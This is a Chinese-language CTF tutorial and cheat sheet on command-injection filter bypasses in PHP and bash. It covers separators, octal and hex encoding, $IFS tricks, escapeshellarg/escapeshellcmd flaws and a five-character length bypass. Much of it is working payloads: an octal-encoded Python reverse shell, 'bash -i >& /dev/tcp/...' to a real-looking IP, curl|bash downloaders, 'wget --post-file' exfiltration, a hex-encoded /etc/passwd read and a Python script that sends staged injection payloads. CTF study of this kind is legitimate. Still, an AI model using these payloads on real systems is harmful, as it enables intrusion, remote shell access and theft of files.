命令执行绕过
简介
通过php的危险函数执行需要的命令
简单例题
<?php
if (isset($_POST['host']))
{
$host = $_POST['host'];
$res = shell_exec("ping -c 4 {$host}");
echo $res;
}
?>
在ping ip后利用linux的命令分割符分割,可以执行任意命令
通过php的可变变量也能进行命令执行
类似于:${cmd}
或者$$a
,$a可控为{cmd}
linux大部分命令放置在/bin或者/sbin目录下,无法执行可以考虑使用/bin/cat
等命令
常用分隔符
;
用;号隔开每个命令, 每个命令按照从左到右的顺序,顺序执行, 彼此之间不关心是否失败,所有命令都
会执行。
&
后台执行
&&
命令之间使用 && 连接,实现逻辑与的功能。
只有在 && 左边的命令返回真(命令返回值 $? == 0),&& 右边的命令才会被执行。
只要有一个命令返回假(命令返回值 $? == 1),后面的命令就不会被执行。
|
命令A|命令B,即命令A的正确输出作为命令B的操作对象
例如: ps aux | grep "test" 在 ps aux中的結果中查找test。
||
命令之间使用 || 连接,实现逻辑或的功能。
只有在 || 左边的命令返回假(命令返回值 $? == 1),|| 右边的命令才会被执行。
%0a、%0d
Win:
%1a
php中可执行命令的函数
system()
shell_exec()
eval()
asssert()
exec()
preg_replace()
call_user_func()
passthru()
pctml_exec()
popen()
proc_open()
反引号命令执行(反引号相当于shell_exec())
<?php
show_source(__FILE__);
$a = `whoami`;
echo $a;
?>
rayi\shinelon
常见过滤绕过
编码绕过
如果命令注入的网站过滤了某些分割符,可以将分隔符编码后(url编码,base64等)绕过
八进制绕过
$(printf "\154\163")//ls命令
这个编码后可以拼接
//这里过滤了-.等符号,只允许0-9a-zA-Z">\\\$();
echo$IFS$9$(printf$IFS$9"\163\75\137\137\151\155\160\157\162\164\137\137\50\42\163\157\143\153\145\164\42\51\56\163\157\143\153\145\164\50\137\137\151\155\160\157\162\164\137\137\50\42\163\157\143\153\145\164\42\51\56\101\106\137\111\116\105\124\54\137\137\151\155\160\157\162\164\137\137\50\42\163\157\143\153\145\164\42\51\56\123\117\103\113\137\123\124\122\105\101\115\51\73\163\56\143\157\156\156\145\143\164\50\50\42\64\67\56\61\60\60\56\61\62\60\56\61\62\63\42\54\62\63\63\63\51\51\73\137\137\151\155\160\157\162\164\137\137\50\42\157\163\42\51\56\144\165\160\62\50\163\56\146\151\154\145\156\157\50\51\54\60\51\73\137\137\151\155\160\157\162\164\137\137\50\42\157\163\42\51\56\144\165\160\62\50\163\56\146\151\154\145\156\157\50\51\54\61\51\73\137\137\151\155\160\157\162\164\137\137\50\42\157\163\42\51\56\144\165\160\62\50\163\56\146\151\154\145\156\157\50\51\54\62\51\73\160\75\137\137\151\155\160\157\162\164\137\137\50\42\163\165\142\160\162\157\143\145\163\163\42\51\56\143\141\154\154\50\133\42\57\142\151\156\57\142\141\163\150\42\54\42\55\151\42\135\51\73")>$(printf$IFS$9"\57")detect$(printf$IFS$9"\56")py
echo 'python反弹shell的payload' > /detect.py
例题:
from flask import Flask
from flask import render_template,request
import subprocess,re
app = Flask(__name__)
@app.route('/',methods=['GET'])
def index():
return render_template('index.html')
@app.route('/run',methods=['POST'])
def run():
cmd = request.form.get("cmd")
if re.search(r'''[^0-9a-zA-Z">\\\$();]''',cmd):
return 'Hacker!'
if re.search(r'''ping|wget|curl|bash|perl|python|php|kill|ps''',cmd):
return 'Hacker!'
p = subprocess.Popen(cmd,stderr=subprocess.STDOUT, stdout=subprocess.PIPE,shell=True,close_fds=True)
try:
(msg, errs) = p.communicate(timeout=5)
return msg
except Exception as e:
return 'Error!'
app.run(host='0.0.0.0',port='5000')
覆盖写原来定时执行,用来清除进程的detect.py,直接get root权限
十六进制绕过
echo "636174202F6574632F706173737764" | xxd -r -p|bash
空格过滤
linux内置分隔符
${IFS},$IFS,$IFS$9
root # cat${IFS}flag
weqweqweqweqweqwe
root # cat$IFS$9flag
weqweqweqweqweqwe
>,+过滤
对于 >,+ 等 符号的过滤 ,$PS2
变量为>,$PS4
变量则为+
关键词绕过
通过拆分命令达到绕过的效果
a=l;b=s;$a$b
空变量绕过
cat fl${x}ag
cat tes$(z)t/flag
控制环境变量绕过
$PATH => "/usr/local/….blablabla”
${PATH:0:1} => '/'
${PATH:1:1} => 'u'
${PATH:0:4} => '/usr'
空值绕过
cat fl""ag
cat fl''ag
cat "fl""ag"
反斜杠绕过
ca\t flag
l\s
空变量
$*和$@,$x(x 代表 1-9),${x}(x>=10) :比如ca${21}t a.txt表示cat a.txt 在没有传入参数的情况下,这些特殊字符默认为空,如下:
wh$1oami
who$@ami
whoa$*mi
花括号的用法
在Linux bash中还可以使用{OS_COMMAND,ARGUMENT}
来执行系统命令{cat,flag}
无回显的命令执行
可以通过curl命令将命令的结果输出到访问的url中
curl www.rayi.vip/`whoami`
在服务器日志中可看到
xx.xx.xx.xx - - [12/Aug/2019:10:32:10 +0800] "GET /root HTTP/1.1" 404 146 "-" "curl/7.58.0"
这样,命令的回显就能在日志中看到了
读文件命令
ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sort|cut|xxd
无回显的情况下wget带出
wget --post-file flag 47.100.120.123:2333
escapeshellarg()escapeshellcmd() 绕过
escapeshellarg()
escapeshellarg ( string
$arg
) : stringescapeshellarg()将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号,这样以确保能够直接将一个字符串传入 shell 函数,并且还是确保安全的。对于用户输入的部分参数就应该使用这个函数。
例子
<?php
system('ls '.escapeshellarg($dir));
?>
escapeshellcmd()
escapeshellcmd ( string
$command
) : stringescapeshellcmd()对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义。 此函数保证用户输入的数据在传送到 exec()或 system()函数,或者 执行操作符之前进行转义。
反斜线(\)会在以下字符之前插入: *`|*?~<>^()[]{}$*, \x0A和 \xFF。 '和 "仅在不配对儿的时候被转义。 在 Windows 平台上,所有这些字符以及 %和 !字符都会被空格代替。
<?php
// 我们故意允许任意数量的参数
$command = './configure '.$_POST['configure_options'];
$escaped_command = escapeshellcmd($command);
system($escaped_command);
?>
对于单引号的转义
同时使用造成的漏洞
使用escapeshellarg()
的本意是避免参数注入,但是如果在此基础上又使用了escapeshellcmd()
,反而又会造成参数注入
例子:
这时候我们只能扫描一个ip地址,无法增加参数
-oN/-oX/-oG:
将报告写入文件,格式分别为正常(自定义.txt),XML,grepable.
但是如果多了个escapeshellcmd
可以写入一句话
注意要两遍都加单引号,否则写入的文件名或者其他的地方会有奇怪的错误
长度绕过
参考题目来自:https://www.jianshu.com/p/a77e956d9941
p神教程:https://www.leavesongs.com/SHARE/some-tricks-from-my-secret-group.html
题目:hitcon2017的babyfirst,hgame2020代打出题人服务中心
假设我们一次只能执行长度为5的命令
原理
linux命令执行的时候可以使用反斜杠换行
bash脚本中同样适用上面的规则
可以用文件名加反斜杠构成命令,使用ls -t > o 将文件名输出到文件,使用bash o执行脚本
ls输出
ls默认是按照ascii码由小到大排序的
如果想要控制文件的排序,我们可以使用ls -t
ls -t是按照文件创建时间排序的
将ls -t
输出到文件
这样我们就可以先利用反斜杠将我们要执行的命令分隔开,在利用ls-t将命令分隔后的文件名写入到一个文件里,再使用bash执行这个脚本
反斜杠
结合使用
构造ls -t
命令:>ls\\ #生成一个文件名为ls\的文件
命令:ls>_ #为了确保ls -t 中ls在前面,所以要先使用ls>_将ls输入到文件_中
命令:>\ \\ #生成ls -t之间的空格,一个文件名为 \的文件
命令:>-t\\ #生成文件名为-t\的文件
命令:>\>g #生成文件名为>g的文件
命令:ls>>_ #将所有的文件名写到文件_里
命令:sh _ #由上至下按顺序执行由\拼接起来的ls -t命令,并将结果输入到文件g中
有了ls -t
作为跳板,我们就可以写入其他的命令了
为了方便,我们可以利用curl从我们的vps上下载脚本,反弹shell。这样我们只需要构造
curl 47.100.120.123/g|bash
vps上
bash -i >& /dev/tcp/47.100.120.123/2333 0>&1
为了更方便,我们可以把vps的ip数字化
http://www.msxindl.com/tools/ip/ip_num.asp
795113595
所以要构造的payload就变成了
curl 795113595/g|bash
我vps用的宝塔,宝塔我没搞出来怎么支持纯数字ip。。。
import requests
from time import sleep
import urllib
payload = [
# generate `ls -t>g` file
'>ls\\',
'ls>_',
'>\ \\',
'>-t\\',
'>\>g',
'ls>>_',
# generate `curl www.rayi.vip|bash`
# 注意文件名不能以.开头
# 注意文件名不能有重复
# 注意vps只能用index,因为文件名不能以/开头
# 悲剧的是我的vps的ip正好有俩0.,只能用域名了
'>sh\ ',
'>ba\\',
'>\|\\',
'>p\\',
'>vi\\',
'>i.\\',
'>y\\',
'>ra\\',
'>w.\\',
'>ww\\',
'>\ \\',
'>rl\\',
'>cu\\',
# exec
'sh _',
#先执行ls -t>g
'sh g'
]
r = requests.get('http://url/?reset=1')
for i in payload:
assert len(i) <= 5
r = requests.get('http://url/?cmd=' + urllib.parse.quote(i) )
print(i)
sleep(1)